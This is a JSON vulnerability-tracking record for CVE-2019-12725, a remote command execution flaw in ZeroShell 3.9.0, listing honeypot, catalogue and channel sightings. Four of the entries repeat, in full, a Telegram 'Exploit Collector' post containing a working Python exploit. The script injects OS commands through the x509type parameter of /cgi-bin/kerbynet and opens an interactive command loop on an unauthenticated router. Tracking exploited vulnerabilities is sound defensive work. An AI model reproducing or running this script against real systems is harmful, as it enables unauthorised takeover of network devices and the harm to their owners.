{"vulnerability": "cve-2019-12725", "sightings": [{"uuid": "a8943bc4-e4b1-4cd9-91f9-ec09552a9208", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "MISP/99de2314-4625-4a10-aed6-a4b78fc7c6a8", "content": "", "creation_timestamp": "2020-10-09T13:27:00.000000Z"}, {"uuid": "17d7a4f0-e807-4c6e-bf47-8a6443f44839", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "exploited", "source": "https://www.exploit-db.com/exploits/49096", "content": "", "creation_timestamp": "2020-11-24T00:00:00.000000Z"}, {"uuid": "3bf5dd21-fa8c-4e6c-aeea-366d70e73f76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "exploited", "source": "https://t.me/cKure/1360", "content": "\u25a0\u25a0\u25a1\u25a1\u25a1 In the past 36 hours, an increase in scanning activity to exploit and compromise ZeroShell Linux router began. This router software had multiple unauthenticated remote code execution flaws released in the past several years, the last one was CVE-2019-12725.\n\nhttps://isc.sans.edu/diary/rss/26368", "creation_timestamp": "2020-07-19T19:18:25.000000Z"}, {"uuid": "f527fa8d-eda6-44ae-8191-9c916428a98b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "https://t.me/arpsyndicate/1777", "content": "#ExploitObserverAlert\n\nCVE-2019-12725\n\nDESCRIPTION: Exploit Observer has 30 entries related to CVE-2019-12725. Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters.\n\nFIRST-EPSS: 0.960080000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-12-12T00:08:29.000000Z"}, {"uuid": "04b1210a-da3e-4ce5-9daa-bf7301357461", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/414", "content": "CVE-2019-12725 ZeroShell 3.9.0 \u9060\u7a0b\u547d\u4ee4\u57f7\u884c\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2019-12725_ZeroShell_3.9.0_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-05-13T09:27:48.000000Z"}, {"uuid": "ff1982ac-a6d5-4650-b152-511f9c4db5a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-31)", "content": "", "creation_timestamp": "2026-09-01T10:00:08.163626Z"}, {"uuid": "4f47ca08-c164-410d-8eb4-722cb739b403", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-29)", "content": "", "creation_timestamp": "2026-08-30T10:00:03.781144Z"}, {"uuid": "dc4af2f3-126f-48a1-af1d-6240923ae8e2", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/82470270-db82-4b66-9103-32af3e575f65", "content": "", "creation_timestamp": "2026-08-23T11:00:35.893712Z"}, {"uuid": "1990554c-54bb-471b-a8e6-6f8c1ca7527f", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c077a6a6-8115-49c7-85d1-fdfe1edc5e6f", "content": "", "creation_timestamp": "2026-08-24T01:10:28.124883Z"}, {"uuid": "eddda9e4-6f2d-436b-b441-80c1b0914994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-24)", "content": "", "creation_timestamp": "2026-08-25T10:00:22.258557Z"}, {"uuid": "9aeebfa0-7ba0-4af7-9f33-0b35e293b2e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-25)", "content": "", "creation_timestamp": "2026-08-26T10:00:12.396877Z"}, {"uuid": "c6d8ab97-3534-4485-b95b-63555f044039", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-23)", "content": "", "creation_timestamp": "2026-08-24T10:00:04.448350Z"}, {"uuid": "366d7c83-3f88-430e-a733-13484ea9b0f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-28)", "content": "", "creation_timestamp": "2026-08-29T10:00:28.597063Z"}, {"uuid": "09ea3652-a822-4e2a-9119-830631f0392f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-27)", "content": "", "creation_timestamp": "2026-08-28T10:00:04.973215Z"}, {"uuid": "17b95336-894d-43c7-969a-9435f7973473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-26)", "content": "", "creation_timestamp": "2026-08-27T10:00:39.644597Z"}, {"uuid": "ea3a1d0b-19f3-4615-85fd-9648b27b1ad4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-30)", "content": "", "creation_timestamp": "2026-08-31T10:00:11.422438Z"}, {"uuid": "d80b8731-d5b5-4ebd-93bc-42d170323e26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "https://t.me/hacking_Attack/8547", "content": "Exploit Collector\nZeroShell 3.9.0 Remote Command Execution\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nZeroShell version 3.9.0 remote command execution exploit.\n\nMD5 | 6136d89b624e83529112cda72e8b9e5e\n\nDownload\n# Exploit Title: ZeroShell 3.9.0 - Remote Command Execution \n# Google Dork: N/A\n# Date: 10/05/2021\n# Exploit Author: Fellipe Oliveira\n# Vendor Homepage: https://zeroshell.org/\n# Software Link: https://zeroshell.org/download/\n# Version: < 3.9.0 \n# Tested on: ZeroShell 3.9.0\n# CVE : CVE-2019-12725\n\n#!/usr/bin/python3\n\nimport requests\nimport optparse\nimport time\n\nparser = optparse.OptionParser()\nparser.add_option('-u', '--url', action=\"store\", dest=\"url\", help='Base target uri (ex. http://target-uri/)')\n\noptions, args = parser.parse_args()\nif not options.url:\nprint('[+] Specify an url target')\nprint('[+] Example usage: exploit.py -u http://target-uri/')\nprint('[+] Example help usage: exploit.py -h')\nexit()\n\nuri_zeroshell = options.url\nsession = requests.Session()\n\ndef command():\ntry:\ncheck = session.get(uri_zeroshell + \"/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'\")\nif check.status_code == 200:\nflag = True\nprint('[+] ZeroShell 3.9.0 Remote Command Execution')\ntime.sleep(1)\nprint('[+] Success connect to target')\ntime.sleep(1)\nprint('[+] Trying to execute command in ZeroShell OS...\\n')\ntime.sleep(1)\ncheck.raise_for_status() \n\nwhile flag:\ncmd = raw_input(\"$ \")\npayload = \"/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A\" + cmd + \"%0A'\"\nuri_vuln = uri_zeroshell + payload\nburp0_headers = {\"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\", \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\", \"Accept-Language\": \"en-US,en;q=0.5\", \"Accept-Encoding\": \"gzip, deflate\", \"Connection\": \"close\", \"Upgrade-Insecure-Requests\": \"1\"}\nres = session.get(uri_vuln, headers=burp0_headers, verify=False)\nprint(res.text[:res.text.rindex(\"\") / 2])\n\nexcept requests.exceptions.ConnectionError as err:\nprint('[x] Failed to Connect in: '+uri_zeroshell+' ')\nprint('[x] This host seems to be Down')\nexit()\nexcept requests.exceptions.HTTPError as conn:\nprint('[x] Failed to execute command in: '+uri_zeroshell+' ')\nprint('[x] This host does not appear to be a ZeroShell')\nexit()\n\ncommand()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:41.813700Z"}, {"uuid": "5dfb6c5d-68e6-44bf-b802-d1803f37d3de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "https://t.me/hacking_Attack/8547", "content": "Exploit Collector\nZeroShell 3.9.0 Remote Command Execution\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nZeroShell version 3.9.0 remote command execution exploit.\n\nMD5 | 6136d89b624e83529112cda72e8b9e5e\n\nDownload\n# Exploit Title: ZeroShell 3.9.0 - Remote Command Execution \n# Google Dork: N/A\n# Date: 10/05/2021\n# Exploit Author: Fellipe Oliveira\n# Vendor Homepage: https://zeroshell.org/\n# Software Link: https://zeroshell.org/download/\n# Version: < 3.9.0 \n# Tested on: ZeroShell 3.9.0\n# CVE : CVE-2019-12725\n\n#!/usr/bin/python3\n\nimport requests\nimport optparse\nimport time\n\nparser = optparse.OptionParser()\nparser.add_option('-u', '--url', action=\"store\", dest=\"url\", help='Base target uri (ex. http://target-uri/)')\n\noptions, args = parser.parse_args()\nif not options.url:\nprint('[+] Specify an url target')\nprint('[+] Example usage: exploit.py -u http://target-uri/')\nprint('[+] Example help usage: exploit.py -h')\nexit()\n\nuri_zeroshell = options.url\nsession = requests.Session()\n\ndef command():\ntry:\ncheck = session.get(uri_zeroshell + \"/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'\")\nif check.status_code == 200:\nflag = True\nprint('[+] ZeroShell 3.9.0 Remote Command Execution')\ntime.sleep(1)\nprint('[+] Success connect to target')\ntime.sleep(1)\nprint('[+] Trying to execute command in ZeroShell OS...\\n')\ntime.sleep(1)\ncheck.raise_for_status() \n\nwhile flag:\ncmd = raw_input(\"$ \")\npayload = \"/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A\" + cmd + \"%0A'\"\nuri_vuln = uri_zeroshell + payload\nburp0_headers = {\"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\", \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\", \"Accept-Language\": \"en-US,en;q=0.5\", \"Accept-Encoding\": \"gzip, deflate\", \"Connection\": \"close\", \"Upgrade-Insecure-Requests\": \"1\"}\nres = session.get(uri_vuln, headers=burp0_headers, verify=False)\nprint(res.text[:res.text.rindex(\"\") / 2])\n\nexcept requests.exceptions.ConnectionError as err:\nprint('[x] Failed to Connect in: '+uri_zeroshell+' ')\nprint('[x] This host seems to be Down')\nexit()\nexcept requests.exceptions.HTTPError as conn:\nprint('[x] Failed to execute command in: '+uri_zeroshell+' ')\nprint('[x] This host does not appear to be a ZeroShell')\nexit()\n\ncommand()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:18.359096Z"}, {"uuid": "3fbd9bcf-f981-482f-b24d-bd7fcbb998b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-02)", "content": "", "creation_timestamp": "2026-09-03T10:00:09.334562Z"}, {"uuid": "a8b150c9-bf97-417d-928f-0f2c672d8241", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-03)", "content": "", "creation_timestamp": "2026-09-04T10:00:03.998443Z"}, {"uuid": "20d9c464-0c34-42c9-876c-b5892c1aeee4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-04)", "content": "", "creation_timestamp": "2026-09-05T10:00:14.447992Z"}, {"uuid": "1a811437-e150-45ea-b73a-462fd84d19de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "creation_timestamp": "2026-09-06T10:00:07.640315Z"}, {"uuid": "17aea3eb-d252-42b3-ad2c-e82b9e957bdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/8547", "content": "Exploit Collector\nZeroShell 3.9.0 Remote Command Execution\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nZeroShell version 3.9.0 remote command execution exploit.\n\nMD5 | 6136d89b624e83529112cda72e8b9e5e\n\nDownload\n# Exploit Title: ZeroShell 3.9.0 - Remote Command Execution \n# Google Dork: N/A\n# Date: 10/05/2021\n# Exploit Author: Fellipe Oliveira\n# Vendor Homepage: https://zeroshell.org/\n# Software Link: https://zeroshell.org/download/\n# Version: < 3.9.0 \n# Tested on: ZeroShell 3.9.0\n# CVE : CVE-2019-12725\n\n#!/usr/bin/python3\n\nimport requests\nimport optparse\nimport time\n\nparser = optparse.OptionParser()\nparser.add_option('-u', '--url', action=\"store\", dest=\"url\", help='Base target uri (ex. http://target-uri/)')\n\noptions, args = parser.parse_args()\nif not options.url:\nprint('[+] Specify an url target')\nprint('[+] Example usage: exploit.py -u http://target-uri/')\nprint('[+] Example help usage: exploit.py -h')\nexit()\n\nuri_zeroshell = options.url\nsession = requests.Session()\n\ndef command():\ntry:\ncheck = session.get(uri_zeroshell + \"/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'\")\nif check.status_code == 200:\nflag = True\nprint('[+] ZeroShell 3.9.0 Remote Command Execution')\ntime.sleep(1)\nprint('[+] Success connect to target')\ntime.sleep(1)\nprint('[+] Trying to execute command in ZeroShell OS...\\n')\ntime.sleep(1)\ncheck.raise_for_status() \n\nwhile flag:\ncmd = raw_input(\"$ \")\npayload = \"/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A\" + cmd + \"%0A'\"\nuri_vuln = uri_zeroshell + payload\nburp0_headers = {\"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\", \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\", \"Accept-Language\": \"en-US,en;q=0.5\", \"Accept-Encoding\": \"gzip, deflate\", \"Connection\": \"close\", \"Upgrade-Insecure-Requests\": \"1\"}\nres = session.get(uri_vuln, headers=burp0_headers, verify=False)\nprint(res.text[:res.text.rindex(\"\") / 2])\n\nexcept requests.exceptions.ConnectionError as err:\nprint('[x] Failed to Connect in: '+uri_zeroshell+' ')\nprint('[x] This host seems to be Down')\nexit()\nexcept requests.exceptions.HTTPError as conn:\nprint('[x] Failed to execute command in: '+uri_zeroshell+' ')\nprint('[x] This host does not appear to be a ZeroShell')\nexit()\n\ncommand()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T06:00:04.532836Z"}, {"uuid": "dcc64398-16c1-49fc-ab17-937f9d22d3c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-07)", "content": "", "creation_timestamp": "2026-09-08T10:00:05.484277Z"}, {"uuid": "b9c96a0b-3342-423b-bd8f-d4b8cd4064d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/8547", "content": "Exploit Collector\nZeroShell 3.9.0 Remote Command Execution\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nZeroShell version 3.9.0 remote command execution exploit.\n\nMD5 | 6136d89b624e83529112cda72e8b9e5e\n\nDownload\n# Exploit Title: ZeroShell 3.9.0 - Remote Command Execution \n# Google Dork: N/A\n# Date: 10/05/2021\n# Exploit Author: Fellipe Oliveira\n# Vendor Homepage: https://zeroshell.org/\n# Software Link: https://zeroshell.org/download/\n# Version: < 3.9.0 \n# Tested on: ZeroShell 3.9.0\n# CVE : CVE-2019-12725\n\n#!/usr/bin/python3\n\nimport requests\nimport optparse\nimport time\n\nparser = optparse.OptionParser()\nparser.add_option('-u', '--url', action=\"store\", dest=\"url\", help='Base target uri (ex. http://target-uri/)')\n\noptions, args = parser.parse_args()\nif not options.url:\nprint('[+] Specify an url target')\nprint('[+] Example usage: exploit.py -u http://target-uri/')\nprint('[+] Example help usage: exploit.py -h')\nexit()\n\nuri_zeroshell = options.url\nsession = requests.Session()\n\ndef command():\ntry:\ncheck = session.get(uri_zeroshell + \"/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'\")\nif check.status_code == 200:\nflag = True\nprint('[+] ZeroShell 3.9.0 Remote Command Execution')\ntime.sleep(1)\nprint('[+] Success connect to target')\ntime.sleep(1)\nprint('[+] Trying to execute command in ZeroShell OS...\\n')\ntime.sleep(1)\ncheck.raise_for_status() \n\nwhile flag:\ncmd = raw_input(\"$ \")\npayload = \"/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A\" + cmd + \"%0A'\"\nuri_vuln = uri_zeroshell + payload\nburp0_headers = {\"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\", \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\", \"Accept-Language\": \"en-US,en;q=0.5\", \"Accept-Encoding\": \"gzip, deflate\", \"Connection\": \"close\", \"Upgrade-Insecure-Requests\": \"1\"}\nres = session.get(uri_vuln, headers=burp0_headers, verify=False)\nprint(res.text[:res.text.rindex(\"\") / 2])\n\nexcept requests.exceptions.ConnectionError as err:\nprint('[x] Failed to Connect in: '+uri_zeroshell+' ')\nprint('[x] This host seems to be Down')\nexit()\nexcept requests.exceptions.HTTPError as conn:\nprint('[x] Failed to execute command in: '+uri_zeroshell+' ')\nprint('[x] This host does not appear to be a ZeroShell')\nexit()\n\ncommand()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-09T00:00:39.410073Z"}, {"uuid": "cb3329b7-d2be-480d-ac8a-c082ebe56c9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-08)", "content": "", "creation_timestamp": "2026-09-09T10:00:05.317879Z"}, {"uuid": "0d74101e-677d-49f5-8165-03634aeeed33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-12)", "content": "", "creation_timestamp": "2026-09-13T10:00:07.044863Z"}, {"uuid": "2844771f-5011-4f4d-99ff-13e594a9a42a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-09)", "content": "", "creation_timestamp": "2026-09-10T10:00:09.981954Z"}, {"uuid": "32a1bf81-dad0-40a4-92e4-f69cb1cd5673", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-11)", "content": "", "creation_timestamp": "2026-09-12T10:00:16.708725Z"}, {"uuid": "211b5ee0-d3f7-47d2-a1d3-0d0922712379", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-13)", "content": "", "creation_timestamp": "2026-09-14T10:00:06.586865Z"}, {"uuid": "59f889e8-ca67-4f78-b842-70bb1c780e4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-15)", "content": "", "creation_timestamp": "2026-09-16T10:00:06.022444Z"}]}